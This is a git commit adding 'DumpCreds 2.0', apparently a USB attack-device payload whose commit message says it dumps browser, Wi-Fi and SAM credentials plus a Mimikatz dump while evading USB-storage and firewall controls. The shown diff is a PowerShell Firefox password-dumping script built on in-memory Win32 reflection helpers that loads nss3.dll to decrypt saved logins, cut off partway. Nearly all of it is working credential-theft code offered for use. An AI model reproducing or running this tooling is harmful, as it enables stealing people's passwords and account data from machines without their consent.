Added DumpCreds 2.0 payload (#138)
* Add files via upload Init of DumpCreds 2.0 Dumps the usernames & plaintext passwords from - Browsers (Crome, IE, FireFox) - Wifi - SAM Hashes - Mimimk@tz Dump - Computerinformation (Hardware Info, Windows ProductKey, Hotfixes, Software, Local, AD Userlist) without - Use of USB Storage (Because USB Storage ist mostly blocked by USBGuard or DriveLock) - Internet connection (becaus Firewall ContentFilter Blocks the download sites) * Minor Fix * Somf file to much * Changes in main.ps1 - paralellize the Powershell scripts Changes in payload.txt - Universal payload no matter if admin rights or not Some minor changes in all PS\*.ps1 files Signed-off-by: qdba <dieter@baur.nu> * Forget a File * WifiCreds changed * Changes in README.md * Changed Get Chrome-Cred.ps1 from https://github.com/EmpireProject/Empire/tree/master/data/module_source/collection Changed BUILD in main.ps1 Changed Build and Credits in README.mdpull/134/merge
Baur
Sebastian Kinne
parent
eb68665c67
commit
18e71d2882
|
|
@ -1,2 +1,3 @@
|
|||
.DS_Store
|
||||
/.project
|
||||
/payloads/library/DumpCreds_2.0/PS/Invoke-M1m1d0gz.ps1
|
||||
|
|
|
|||
File diff suppressed because one or more lines are too long
|
|
@ -0,0 +1,985 @@
|
|||
|
||||
Function Get-FoxDump
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
This script will utilize the api functions within the nss3.dll to decrypt saved passwords. This will only be successfull if the masterpassword has not been set.
|
||||
|
||||
.DESCRIPTION
|
||||
This script will utilize the api functions within the nss3.dll to decrypt saved passwords and output them to the pipeline. This will only be successfull if the master
|
||||
password has not been set. The results will include the username, password, and form submit url. This script should work with Firefox version 32 and above. Earlier
|
||||
versions utilized a different storage method for passwords.
|
||||
|
||||
.PARAMETER OutFile
|
||||
Path to the file where the results should be written to.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
Get-FoxDump -OutFile "passwords.txt"
|
||||
|
||||
This will retrieve any saved passwords in firefox and then write them out to a file name passwords.txt.
|
||||
|
||||
|
||||
#>
|
||||
|
||||
#References: http://xakfor.net/threads/c-firefox-36-password-cookie-recovery.12192/
|
||||
|
||||
[CmdletBinding()]
|
||||
param
|
||||
(
|
||||
[Parameter(Mandatory = $False)]
|
||||
[string]$OutFile
|
||||
|
||||
)
|
||||
#PSREFLECT CODE
|
||||
function New-InMemoryModule
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Creates an in-memory assembly and module
|
||||
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
When defining custom enums, structs, and unmanaged functions, it is
|
||||
necessary to associate to an assembly module. This helper function
|
||||
creates an in-memory module that can be passed to the 'enum',
|
||||
'struct', and Add-Win32Type functions.
|
||||
|
||||
.PARAMETER ModuleName
|
||||
|
||||
Specifies the desired name for the in-memory assembly and module. If
|
||||
ModuleName is not provided, it will default to a GUID.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
$Module = New-InMemoryModule -ModuleName Win32
|
||||
#>
|
||||
|
||||
Param
|
||||
(
|
||||
[Parameter(Position = 0)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$ModuleName = [Guid]::NewGuid().ToString()
|
||||
)
|
||||
|
||||
$LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies()
|
||||
|
||||
foreach ($Assembly in $LoadedAssemblies) {
|
||||
if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) {
|
||||
return $Assembly
|
||||
}
|
||||
}
|
||||
|
||||
$DynAssembly = New-Object Reflection.AssemblyName($ModuleName)
|
||||
$Domain = [AppDomain]::CurrentDomain
|
||||
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run')
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False)
|
||||
|
||||
return $ModuleBuilder
|
||||
}
|
||||
|
||||
|
||||
# A helper function used to reduce typing while defining function
|
||||
# prototypes for Add-Win32Type.
|
||||
function func
|
||||
{
|
||||
Param
|
||||
(
|
||||
[Parameter(Position = 0, Mandatory = $True)]
|
||||
[String]
|
||||
$DllName,
|
||||
|
||||
[Parameter(Position = 1, Mandatory = $True)]
|
||||
[string]
|
||||
$FunctionName,
|
||||
|
||||
[Parameter(Position = 2, Mandatory = $True)]
|
||||
[Type]
|
||||
$ReturnType,
|
||||
|
||||
[Parameter(Position = 3)]
|
||||
[Type[]]
|
||||
$ParameterTypes,
|
||||
|
||||
[Parameter(Position = 4)]
|
||||
[Runtime.InteropServices.CallingConvention]
|
||||
$NativeCallingConvention,
|
||||
|
||||
[Parameter(Position = 5)]
|
||||
[Runtime.InteropServices.CharSet]
|
||||
$Charset,
|
||||
|
||||
[Switch]
|
||||
$SetLastError
|
||||
)
|
||||
|
||||
$Properties = @{
|
||||
DllName = $DllName
|
||||
FunctionName = $FunctionName
|
||||
ReturnType = $ReturnType
|
||||
}
|
||||
|
||||
if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes }
|
||||
if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention }
|
||||
if ($Charset) { $Properties['Charset'] = $Charset }
|
||||
if ($SetLastError) { $Properties['SetLastError'] = $SetLastError }
|
||||
|
||||
New-Object PSObject -Property $Properties
|
||||
}
|
||||
|
||||
|
||||
function Add-Win32Type
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Creates a .NET type for an unmanaged Win32 function.
|
||||
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: func
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
Add-Win32Type enables you to easily interact with unmanaged (i.e.
|
||||
Win32 unmanaged) functions in PowerShell. After providing
|
||||
Add-Win32Type with a function signature, a .NET type is created
|
||||
using reflection (i.e. csc.exe is never called like with Add-Type).
|
||||
|
||||
The 'func' helper function can be used to reduce typing when defining
|
||||
multiple function definitions.
|
||||
|
||||
.PARAMETER DllName
|
||||
|
||||
The name of the DLL.
|
||||
|
||||
.PARAMETER FunctionName
|
||||
|
||||
The name of the target function.
|
||||
|
||||
.PARAMETER ReturnType
|
||||
|
||||
The return type of the function.
|
||||
|
||||
.PARAMETER ParameterTypes
|
||||
|
||||
The function parameters.
|
||||
|
||||
.PARAMETER NativeCallingConvention
|
||||
|
||||
Specifies the native calling convention of the function. Defaults to
|
||||
stdcall.
|
||||
|
||||
.PARAMETER Charset
|
||||
|
||||
If you need to explicitly call an 'A' or 'W' Win32 function, you can
|
||||
specify the character set.
|
||||
|
||||
.PARAMETER SetLastError
|
||||
|
||||
Indicates whether the callee calls the SetLastError Win32 API
|
||||
function before returning from the attributed method.
|
||||
|
||||
.PARAMETER Module
|
||||
|
||||
The in-memory module that will host the functions. Use
|
||||
New-InMemoryModule to define an in-memory module.
|
||||
|
||||
.PARAMETER Namespace
|
||||
|
||||
An optional namespace to prepend to the type. Add-Win32Type defaults
|
||||
to a namespace consisting only of the name of the DLL.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
$Mod = New-InMemoryModule -ModuleName Win32
|
||||
|
||||
$FunctionDefinitions = @(
|
||||
(func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError),
|
||||
(func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError),
|
||||
(func ntdll RtlGetCurrentPeb ([IntPtr]) @())
|
||||
)
|
||||
|
||||
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
|
||||
$Kernel32 = $Types['kernel32']
|
||||
$Ntdll = $Types['ntdll']
|
||||
$Ntdll::RtlGetCurrentPeb()
|
||||
$ntdllbase = $Kernel32::GetModuleHandle('ntdll')
|
||||
$Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb')
|
||||
|
||||
.NOTES
|
||||
|
||||
Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189
|
||||
|
||||
When defining multiple function prototypes, it is ideal to provide
|
||||
Add-Win32Type with an array of function signatures. That way, they
|
||||
are all incorporated into the same in-memory module.
|
||||
#>
|
||||
|
||||
[OutputType([Hashtable])]
|
||||
Param(
|
||||
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
|
||||
[String]
|
||||
$DllName,
|
||||
|
||||
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
|
||||
[String]
|
||||
$FunctionName,
|
||||
|
||||
[Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)]
|
||||
[Type]
|
||||
$ReturnType,
|
||||
|
||||
[Parameter(ValueFromPipelineByPropertyName = $True)]
|
||||
[Type[]]
|
||||
$ParameterTypes,
|
||||
|
||||
[Parameter(ValueFromPipelineByPropertyName = $True)]
|
||||
[Runtime.InteropServices.CallingConvention]
|
||||
$NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall,
|
||||
|
||||
[Parameter(ValueFromPipelineByPropertyName = $True)]
|
||||
[Runtime.InteropServices.CharSet]
|
||||
$Charset = [Runtime.InteropServices.CharSet]::Auto,
|
||||
|
||||
[Parameter(ValueFromPipelineByPropertyName = $True)]
|
||||
[Switch]
|
||||
$SetLastError,
|
||||
|
||||
[Parameter(Mandatory = $True)]
|
||||
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
|
||||
$Module,
|
||||
|
||||
[ValidateNotNull()]
|
||||
[String]
|
||||
$Namespace = ''
|
||||
)
|
||||
|
||||
BEGIN
|
||||
{
|
||||
$TypeHash = @{}
|
||||
}
|
||||
|
||||
PROCESS
|
||||
{
|
||||
if ($Module -is [Reflection.Assembly])
|
||||
{
|
||||
if ($Namespace)
|
||||
{
|
||||
$TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName")
|
||||
}
|
||||
else
|
||||
{
|
||||
$TypeHash[$DllName] = $Module.GetType($DllName)
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
# Define one type for each DLL
|
||||
if (!$TypeHash.ContainsKey($DllName))
|
||||
{
|
||||
if ($Namespace)
|
||||
{
|
||||
$TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit')
|
||||
}
|
||||
else
|
||||
{
|
||||
$TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit')
|
||||
}
|
||||
}
|
||||
|
||||
$Method = $TypeHash[$DllName].DefineMethod(
|
||||
$FunctionName,
|
||||
'Public,Static,PinvokeImpl',
|
||||
$ReturnType,
|
||||
$ParameterTypes)
|
||||
|
||||
# Make each ByRef parameter an Out parameter
|
||||
$i = 1
|
||||
foreach($Parameter in $ParameterTypes)
|
||||
{
|
||||
if ($Parameter.IsByRef)
|
||||
{
|
||||
[void] $Method.DefineParameter($i, 'Out', $null)
|
||||
}
|
||||
|
||||
$i++
|
||||
}
|
||||
|
||||
$DllImport = [Runtime.InteropServices.DllImportAttribute]
|
||||
$SetLastErrorField = $DllImport.GetField('SetLastError')
|
||||
$CallingConventionField = $DllImport.GetField('CallingConvention')
|
||||
$CharsetField = $DllImport.GetField('CharSet')
|
||||
if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False }
|
||||
|
||||
# Equivalent to C# version of [DllImport(DllName)]
|
||||
$Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String])
|
||||
$DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor,
|
||||
$DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(),
|
||||
[Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField),
|
||||
[Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset)))
|
||||
|
||||
$Method.SetCustomAttribute($DllImportAttribute)
|
||||
}
|
||||
}
|
||||
|
||||
END
|
||||
{
|
||||
if ($Module -is [Reflection.Assembly])
|
||||
{
|
||||
return $TypeHash
|
||||
}
|
||||
|
||||
$ReturnTypes = @{}
|
||||
|
||||
foreach ($Key in $TypeHash.Keys)
|
||||
{
|
||||
$Type = $TypeHash[$Key].CreateType()
|
||||
|
||||
$ReturnTypes[$Key] = $Type
|
||||
}
|
||||
|
||||
return $ReturnTypes
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function psenum
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Creates an in-memory enumeration for use in your PowerShell session.
|
||||
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: None
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
The 'psenum' function facilitates the creation of enums entirely in
|
||||
memory using as close to a "C style" as PowerShell will allow.
|
||||
|
||||
.PARAMETER Module
|
||||
|
||||
The in-memory module that will host the enum. Use
|
||||
New-InMemoryModule to define an in-memory module.
|
||||
|
||||
.PARAMETER FullName
|
||||
|
||||
The fully-qualified name of the enum.
|
||||
|
||||
.PARAMETER Type
|
||||
|
||||
The type of each enum element.
|
||||
|
||||
.PARAMETER EnumElements
|
||||
|
||||
A hashtable of enum elements.
|
||||
|
||||
.PARAMETER Bitfield
|
||||
|
||||
Specifies that the enum should be treated as a bitfield.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
$Mod = New-InMemoryModule -ModuleName Win32
|
||||
|
||||
$ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{
|
||||
UNKNOWN = 0
|
||||
NATIVE = 1 # Image doesn't require a subsystem.
|
||||
WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem.
|
||||
WINDOWS_CUI = 3 # Image runs in the Windows character subsystem.
|
||||
OS2_CUI = 5 # Image runs in the OS/2 character subsystem.
|
||||
POSIX_CUI = 7 # Image runs in the Posix character subsystem.
|
||||
NATIVE_WINDOWS = 8 # Image is a native Win9x driver.
|
||||
WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem.
|
||||
EFI_APPLICATION = 10
|
||||
EFI_BOOT_SERVICE_DRIVER = 11
|
||||
EFI_RUNTIME_DRIVER = 12
|
||||
EFI_ROM = 13
|
||||
XBOX = 14
|
||||
WINDOWS_BOOT_APPLICATION = 16
|
||||
}
|
||||
|
||||
.NOTES
|
||||
|
||||
PowerShell purists may disagree with the naming of this function but
|
||||
again, this was developed in such a way so as to emulate a "C style"
|
||||
definition as closely as possible. Sorry, I'm not going to name it
|
||||
New-Enum. :P
|
||||
#>
|
||||
|
||||
[OutputType([Type])]
|
||||
Param
|
||||
(
|
||||
[Parameter(Position = 0, Mandatory = $True)]
|
||||
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
|
||||
$Module,
|
||||
|
||||
[Parameter(Position = 1, Mandatory = $True)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$FullName,
|
||||
|
||||
[Parameter(Position = 2, Mandatory = $True)]
|
||||
[Type]
|
||||
$Type,
|
||||
|
||||
[Parameter(Position = 3, Mandatory = $True)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Hashtable]
|
||||
$EnumElements,
|
||||
|
||||
[Switch]
|
||||
$Bitfield
|
||||
)
|
||||
|
||||
if ($Module -is [Reflection.Assembly])
|
||||
{
|
||||
return ($Module.GetType($FullName))
|
||||
}
|
||||
|
||||
$EnumType = $Type -as [Type]
|
||||
|
||||
$EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType)
|
||||
|
||||
if ($Bitfield)
|
||||
{
|
||||
$FlagsConstructor = [FlagsAttribute].GetConstructor(@())
|
||||
$FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @())
|
||||
$EnumBuilder.SetCustomAttribute($FlagsCustomAttribute)
|
||||
}
|
||||
|
||||
foreach ($Key in $EnumElements.Keys)
|
||||
{
|
||||
# Apply the specified enum type to each element
|
||||
$null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType)
|
||||
}
|
||||
|
||||
$EnumBuilder.CreateType()
|
||||
}
|
||||
|
||||
|
||||
# A helper function used to reduce typing while defining struct
|
||||
# fields.
|
||||
function field
|
||||
{
|
||||
Param
|
||||
(
|
||||
[Parameter(Position = 0, Mandatory = $True)]
|
||||
[UInt16]
|
||||
$Position,
|
||||
|
||||
[Parameter(Position = 1, Mandatory = $True)]
|
||||
[Type]
|
||||
$Type,
|
||||
|
||||
[Parameter(Position = 2)]
|
||||
[UInt16]
|
||||
$Offset,
|
||||
|
||||
[Object[]]
|
||||
$MarshalAs
|
||||
)
|
||||
|
||||
@{
|
||||
Position = $Position
|
||||
Type = $Type -as [Type]
|
||||
Offset = $Offset
|
||||
MarshalAs = $MarshalAs
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
function struct
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
|
||||
Creates an in-memory struct for use in your PowerShell session.
|
||||
|
||||
Author: Matthew Graeber (@mattifestation)
|
||||
License: BSD 3-Clause
|
||||
Required Dependencies: None
|
||||
Optional Dependencies: field
|
||||
|
||||
.DESCRIPTION
|
||||
|
||||
The 'struct' function facilitates the creation of structs entirely in
|
||||
memory using as close to a "C style" as PowerShell will allow. Struct
|
||||
fields are specified using a hashtable where each field of the struct
|
||||
is comprosed of the order in which it should be defined, its .NET
|
||||
type, and optionally, its offset and special marshaling attributes.
|
||||
|
||||
One of the features of 'struct' is that after your struct is defined,
|
||||
it will come with a built-in GetSize method as well as an explicit
|
||||
converter so that you can easily cast an IntPtr to the struct without
|
||||
relying upon calling SizeOf and/or PtrToStructure in the Marshal
|
||||
class.
|
||||
|
||||
.PARAMETER Module
|
||||
|
||||
The in-memory module that will host the struct. Use
|
||||
New-InMemoryModule to define an in-memory module.
|
||||
|
||||
.PARAMETER FullName
|
||||
|
||||
The fully-qualified name of the struct.
|
||||
|
||||
.PARAMETER StructFields
|
||||
|
||||
A hashtable of fields. Use the 'field' helper function to ease
|
||||
defining each field.
|
||||
|
||||
.PARAMETER PackingSize
|
||||
|
||||
Specifies the memory alignment of fields.
|
||||
|
||||
.PARAMETER ExplicitLayout
|
||||
|
||||
Indicates that an explicit offset for each field will be specified.
|
||||
|
||||
.EXAMPLE
|
||||
|
||||
$Mod = New-InMemoryModule -ModuleName Win32
|
||||
|
||||
$ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{
|
||||
DOS_SIGNATURE = 0x5A4D
|
||||
OS2_SIGNATURE = 0x454E
|
||||
OS2_SIGNATURE_LE = 0x454C
|
||||
VXD_SIGNATURE = 0x454C
|
||||
}
|
||||
|
||||
$ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{
|
||||
e_magic = field 0 $ImageDosSignature
|
||||
e_cblp = field 1 UInt16
|
||||
e_cp = field 2 UInt16
|
||||
e_crlc = field 3 UInt16
|
||||
e_cparhdr = field 4 UInt16
|
||||
e_minalloc = field 5 UInt16
|
||||
e_maxalloc = field 6 UInt16
|
||||
e_ss = field 7 UInt16
|
||||
e_sp = field 8 UInt16
|
||||
e_csum = field 9 UInt16
|
||||
e_ip = field 10 UInt16
|
||||
e_cs = field 11 UInt16
|
||||
e_lfarlc = field 12 UInt16
|
||||
e_ovno = field 13 UInt16
|
||||
e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4)
|
||||
e_oemid = field 15 UInt16
|
||||
e_oeminfo = field 16 UInt16
|
||||
e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10)
|
||||
e_lfanew = field 18 Int32
|
||||
}
|
||||
|
||||
# Example of using an explicit layout in order to create a union.
|
||||
$TestUnion = struct $Mod TestUnion @{
|
||||
field1 = field 0 UInt32 0
|
||||
field2 = field 1 IntPtr 0
|
||||
} -ExplicitLayout
|
||||
|
||||
.NOTES
|
||||
|
||||
PowerShell purists may disagree with the naming of this function but
|
||||
again, this was developed in such a way so as to emulate a "C style"
|
||||
definition as closely as possible. Sorry, I'm not going to name it
|
||||
New-Struct. :P
|
||||
#>
|
||||
|
||||
[OutputType([Type])]
|
||||
Param
|
||||
(
|
||||
[Parameter(Position = 1, Mandatory = $True)]
|
||||
[ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})]
|
||||
$Module,
|
||||
|
||||
[Parameter(Position = 2, Mandatory = $True)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[String]
|
||||
$FullName,
|
||||
|
||||
[Parameter(Position = 3, Mandatory = $True)]
|
||||
[ValidateNotNullOrEmpty()]
|
||||
[Hashtable]
|
||||
$StructFields,
|
||||
|
||||
[Reflection.Emit.PackingSize]
|
||||
$PackingSize = [Reflection.Emit.PackingSize]::Unspecified,
|
||||
|
||||
[Switch]
|
||||
$ExplicitLayout
|
||||
)
|
||||
|
||||
if ($Module -is [Reflection.Assembly])
|
||||
{
|
||||
return ($Module.GetType($FullName))
|
||||
}
|
||||
|
||||
[Reflection.TypeAttributes] $StructAttributes = 'AnsiClass,
|
||||
Class,
|
||||
Public,
|
||||
Sealed,
|
||||
BeforeFieldInit'
|
||||
|
||||
if ($ExplicitLayout)
|
||||
{
|
||||
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::ExplicitLayout
|
||||
}
|
||||
else
|
||||
{
|
||||
$StructAttributes = $StructAttributes -bor [Reflection.TypeAttributes]::SequentialLayout
|
||||
}
|
||||
|
||||
$StructBuilder = $Module.DefineType($FullName, $StructAttributes, [ValueType], $PackingSize)
|
||||
$ConstructorInfo = [Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0]
|
||||
$SizeConst = @([Runtime.InteropServices.MarshalAsAttribute].GetField('SizeConst'))
|
||||
|
||||
$Fields = New-Object Hashtable[]($StructFields.Count)
|
||||
|
||||
# Sort each field according to the orders specified
|
||||
# Unfortunately, PSv2 doesn't have the luxury of the
|
||||
# hashtable [Ordered] accelerator.
|
||||
foreach ($Field in $StructFields.Keys)
|
||||
{
|
||||
$Index = $StructFields[$Field]['Position']
|
||||
$Fields[$Index] = @{FieldName = $Field; Properties = $StructFields[$Field]}
|
||||
}
|
||||
|
||||
foreach ($Field in $Fields)
|
||||
{
|
||||
$FieldName = $Field['FieldName']
|
||||
$FieldProp = $Field['Properties']
|
||||
|
||||
$Offset = $FieldProp['Offset']
|
||||
$Type = $FieldProp['Type']
|
||||
$MarshalAs = $FieldProp['MarshalAs']
|
||||
|
||||
$NewField = $StructBuilder.DefineField($FieldName, $Type, 'Public')
|
||||
|
||||
if ($MarshalAs)
|
||||
{
|
||||
$UnmanagedType = $MarshalAs[0] -as ([Runtime.InteropServices.UnmanagedType])
|
||||
if ($MarshalAs[1])
|
||||
{
|
||||
$Size = $MarshalAs[1]
|
||||
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo,
|
||||
$UnmanagedType, $SizeConst, @($Size))
|
||||
}
|
||||
else
|
||||
{
|
||||
$AttribBuilder = New-Object Reflection.Emit.CustomAttributeBuilder($ConstructorInfo, [Object[]] @($UnmanagedType))
|
||||
}
|
||||
|
||||
$NewField.SetCustomAttribute($AttribBuilder)
|
||||
}
|
||||
|
||||
if ($ExplicitLayout) { $NewField.SetOffset($Offset) }
|
||||
}
|
||||
|
||||
# Make the struct aware of its own size.
|
||||
# No more having to call [Runtime.InteropServices.Marshal]::SizeOf!
|
||||
$SizeMethod = $StructBuilder.DefineMethod('GetSize',
|
||||
'Public, Static',
|
||||
[Int],
|
||||
[Type[]] @())
|
||||
$ILGenerator = $SizeMethod.GetILGenerator()
|
||||
# Thanks for the help, Jason Shirk!
|
||||
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
|
||||
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
|
||||
[Type].GetMethod('GetTypeFromHandle'))
|
||||
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Call,
|
||||
[Runtime.InteropServices.Marshal].GetMethod('SizeOf', [Type[]] @([Type])))
|
||||
$ILGenerator.Emit([Reflection.Emit.OpCodes]::Ret)
|
||||
|
||||
# Allow for explicit casting from an IntPtr
|
||||
# No more having to call [Runtime.InteropServices.Marshal]::PtrToStructure!
|
||||
$ImplicitConverter = $StructBuilder.DefineMethod('op_Implicit',
|
||||
'PrivateScope, Public, Static, HideBySig, SpecialName',
|
||||
$StructBuilder,
|
||||
[Type[]] @([IntPtr]))
|
||||
$ILGenerator2 = $ImplicitConverter.GetILGenerator()
|
||||
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Nop)
|
||||
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldarg_0)
|
||||
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ldtoken, $StructBuilder)
|
||||
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
|
||||
[Type].GetMethod('GetTypeFromHandle'))
|
||||
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Call,
|
||||
[Runtime.InteropServices.Marshal].GetMethod('PtrToStructure', [Type[]] @([IntPtr], [Type])))
|
||||
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Unbox_Any, $StructBuilder)
|
||||
$ILGenerator2.Emit([Reflection.Emit.OpCodes]::Ret)
|
||||
|
||||
$StructBuilder.CreateType()
|
||||
}
|
||||
#end of PSREFLECT CODE
|
||||
|
||||
#http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html
|
||||
|
||||
|
||||
|
||||
#Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
|
||||
Function Get-DelegateType
|
||||
{
|
||||
Param
|
||||
(
|
||||
[OutputType([Type])]
|
||||
|
||||
[Parameter( Position = 0)]
|
||||
[Type[]]
|
||||
$Parameters = (New-Object Type[](0)),
|
||||
|
||||
[Parameter( Position = 1 )]
|
||||
[Type]
|
||||
$ReturnType = [Void]
|
||||
)
|
||||
|
||||
$Domain = [AppDomain]::CurrentDomain
|
||||
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
|
||||
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
|
||||
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
|
||||
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
|
||||
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
|
||||
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
|
||||
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
|
||||
|
||||
Write-Output $TypeBuilder.CreateType()
|
||||
}
|
||||
|
||||
|
||||
$Mod = New-InMemoryModule -ModuleName Win32
|
||||
|
||||
$FunctionDefinitions = @(
|
||||
(func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [string]) -Charset Ansi -SetLastError),
|
||||
(func kernel32 LoadLibrary ([IntPtr]) @([string]) -Charset Ansi -SetLastError),
|
||||
(func kernel32 FreeLibrary ([Bool]) @([IntPtr]) -Charset Ansi -SetLastError)
|
||||
)
|
||||
|
||||
$TSECItem = struct $Mod TSECItem @{
|
||||
SECItemType = field 0 Int
|
||||
SECItemData = field 1 Int
|
||||
SECItemLen = field 2 Int
|
||||
}
|
||||
|
||||
$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
|
||||
$Kernel32 = $Types['kernel32']
|
||||
|
||||
$nssdllhandle = [IntPtr]::Zero
|
||||
|
||||
if([IntPtr]::Size -eq 8)
|
||||
{
|
||||
Throw "Unable to load 32-bit dll's in 64-bit process."
|
||||
}
|
||||
$mozillapath = "C:\Program Files (x86)\Mozilla Firefox"
|
||||
|
||||
If(Test-Path $mozillapath)
|
||||
{
|
||||
|
||||
|
||||
$nss3dll = "$mozillapath\nss3.dll"
|
||||
|
||||
$mozgluedll = "$mozillapath\mozglue.dll"
|
||||
$msvcr120dll = "$mozillapath\msvcr120.dll"
|
||||
$msvcp120dll = "$mozillapath\msvcp120.dll"
|
||||
|
||||
if(Test-Path $msvcr120dll)
|
||||
{
|
||||
|
||||
$msvcr120dllHandle = $Kernel32::LoadLibrary($msvcr120dll)
|
||||
$LastError= [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||
Write-Verbose "Last Error when loading mozglue.dll: $LastError"
|
||||
|
||||
|
||||
}
|
||||
|
||||
if(Test-Path $msvcp120dll)
|
||||
{
|
||||
|
||||
$msvcp120dllHandle = $kernel32::LoadLibrary($msvcp120dll)
|
||||
$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||
Write-Verbose "Last Error loading mscvp120.dll: $LastError"
|
||||
|
||||
}
|
||||
|
||||
if(Test-Path $mozgluedll)
|
||||
{
|
||||
|
||||
$mozgluedllHandle = $Kernel32::LoadLibrary($mozgluedll)
|
||||
$LastError = [System.Runtime.InteropServices.Marshal]::GetLastWin32Error()
|
||||
Write-Verbose "Last error loading msvcr120.dll: $LastError"
|
||||
|
||||
}
|
||||
|
||||
|
||||
if(Test-Path $nss3dll)
|
||||
{
|
||||
|
||||
